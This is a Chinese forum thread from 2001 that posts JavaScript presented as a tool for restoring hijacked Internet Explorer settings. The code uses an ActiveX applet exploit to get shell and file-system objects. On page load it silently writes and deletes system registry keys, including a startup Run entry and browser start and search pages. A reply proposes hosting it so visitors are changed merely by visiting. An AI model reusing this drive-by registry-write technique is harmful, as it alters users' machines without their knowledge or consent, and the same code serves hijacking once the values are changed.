现在公布自动清除ie标题栏的源代码!!!
现在公布自动清除ie标题栏的源代码!!!
近日来常有朋友反映首页被一些网站修改,有的甚至连IE的标题也被修改,很多网友不知怎样改回来,并为此头痛不已!!我也遇到了这种情况,刚才一位老告诉我他的网站有这样的代码,我去了,还行,本着源码共享的原则,现公布如正下,并谢谢刚才那位朋友的提供!!
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"
;
function f(){try{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"
;
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"
;
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"
;
a1.createInstance();
Net = a1.GetObject();
try
{
//Write Regedit
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\internat.exe", "C:\\WINDOWS\\SYSTEM\\internat.exe"
;
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "about:blank"
;
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "about:blank"
;
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer"
;
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Microsoft Internet Explorer"
;
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page", "http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch"
;
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Local Page","C:\\WINDOWS\\SYSTEM\\blank.htm");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar","65658");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption","65658");
Shl.RegDelete ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText","65658");
Shl.RegDelete ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\qwe","65658");
Shl.RegDelete ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\qwe");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Doc Find Spec MRU\\1","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Doc Find Spec MRU\\");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Default_Search_URL","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\Default_Search_URL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\SearchURL","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\SearchURL");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\1","1");
Shl.RegDelete ("HKCU\\Software\\Microsoft\\Internet Explorer\\Extensions\\{8DE0FCD4-5EB5-11D3-AD25-00002100131c}\\");
var expdate = new Date((new Date()).getTime() + (1));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end Write Regedit
}catch(e){}}catch(e){}}function init(){setTimeout("f()", 1000);}
init();
document.write("<br><font size=7 color=#FF0000 face=黑体><b>操作成功!</b></font><br><Br><bR>更新日期:2001/09/15<br><br>IE标题栏、起始页位置、在电脑启动时弹出的对话框...都已经修复了。<br>现在你可以打开一个新窗口看看效果了 <br>(记得要先关掉所有的 IE 窗口哦^^)<br><br><b>另外,有些会在开机时自动打开 IE 的,请看看你的“启动”菜单里是不是多了一些陌生的文件(***.hta)..把它删除就没事了。</b>")
Re:现在公布自动清除ie标题栏的源代码!!!
用兔子呀,很方便的,不用这么麻烦。呵呵
Re:现在公布自动清除ie标题栏的源代码!!!
[I]以下引用激情小子的内容:
[/I]
用兔子呀,很方便的,不用这么麻烦。呵呵
把他做成网页,只要访问就恢复了,比兔子方便多了!
Re:现在公布自动清除ie标题栏的源代码!!!
好像都不用那么麻烦吧,改一下网页属性就可以了。
欢迎光临
空网论坛 (http://bbs.kongweb.net/)
作者:
迹静于无
时间:
2001-10-4 14:24